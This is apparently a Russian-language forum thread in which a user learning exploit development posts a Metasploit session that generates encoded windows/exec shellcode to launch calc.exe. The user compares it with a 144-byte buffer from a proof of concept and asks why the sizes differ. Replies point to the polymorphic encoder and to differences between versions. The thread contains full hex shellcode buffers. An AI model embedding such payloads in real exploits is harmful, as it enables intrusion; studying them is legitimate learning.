Добрый день Второй день ищу ответ на такой вопрос: При работе в последней версии MSF в винде, генерирую шелкод: Code: msf > use payload/windows/exec msf payload(exec) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai msf payload(exec) > set CMD calc.exe CMD => calc.exe msf payload(exec) > set EXITFUNC seh EXITFUNC => seh msf payload(exec) > generate # windows/exec - 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc.exe buf = "\xdb\xd9\x29\xc9\xb1\x33\xbe\xba\xd6\x2f\xaa\xd9\x74\x24" + "\xf4\x5f\x83\xef\xfc\x31\x77\x13\x03\xcd\xc5\xcd\x5f\xcd" + "\x02\x98\xa0\x2d\xd3\xfb\x29\xc8\xe2\x29\x4d\x99\x57\xfe" + "\x05\xcf\x5b\x75\x4b\xfb\xe8\xfb\x44\x0c\x58\xb1\xb2\x23" + "\x59\x77\x7b\xef\x99\x19\x07\xed\xcd\xf9\x36\x3e\x00\xfb" + "\x7f\x22\xeb\xa9\x28\x29\x5e\x5e\x5c\x6f\x63\x5f\xb2\xe4" + "\xdb\x27\xb7\x3a\xaf\x9d\xb6\x6a\x00\xa9\xf1\x92\x2a\xf5" + "\x21\xa3\xff\xe5\x1e\xea\x74\xdd\xd5\xed\x5c\x2f\x15\xdc" + "\xa0\xfc\x28\xd1\x2c\xfc\x6d\xd5\xce\x8b\x85\x26\x72\x8c" + "\x5d\x55\xa8\x19\x40\xfd\x3b\xb9\xa0\xfc\xe8\x5c\x22\xf2" + "\x45\x2a\x6c\x16\x5b\xff\x06\x22\xd0\xfe\xc8\xa3\xa2\x24" + "\xcd\xe8\x71\x44\x54\x54\xd7\x79\x86\x30\x88\xdf\xcc\xd2" + "\xdd\x66\x8f\xb8\x20\xea\xb5\x85\x23\xf4\xb5\xa5\x4b\xc5" + "\x3e\x2a\x0b\xda\x94\x0f\xed\x2b\x25\x85\x7a\x92\xdc\xe4" + "\xe6\x25\x0b\x2a\x1f\xa6\xbe\xd2\xe4\xb6\xca\xd7\xa1\x70" + "\x26\xa5\xba\x14\x48\x1a\xba\x3c\x2b\xfd\x28\xdc\x82\x98" + "\xc8\x47\xdb" msf payload(exec) > Но он не работает в изучаемом эксплойте. НО, когда я использую шеллкод из какого-нибудь РоС , например Code: # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" "\x7f\xe8\x7b\xca"; то шеллкод выполняеся. У меня такой вопрос: Заметно, что шеллкоды разные по размеру, хотя праметры для генерации одинаковы. Почему так происходит ? Я что-то упускаю?
Из описания модуля: Code: This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically. станет понятно что код каждый раз меняется, так что все нормально.
Почему из-за xor код меняется, это я понимаю, я не понимаю почему меняется размер кода другой. Кстати сейчас попробовал сгенерировать шеллкод в старой версии метасплойта (3.2), так вот там всё ок - 144 байта. Судя по всему шеллкод в новой версии другой, покрупнее.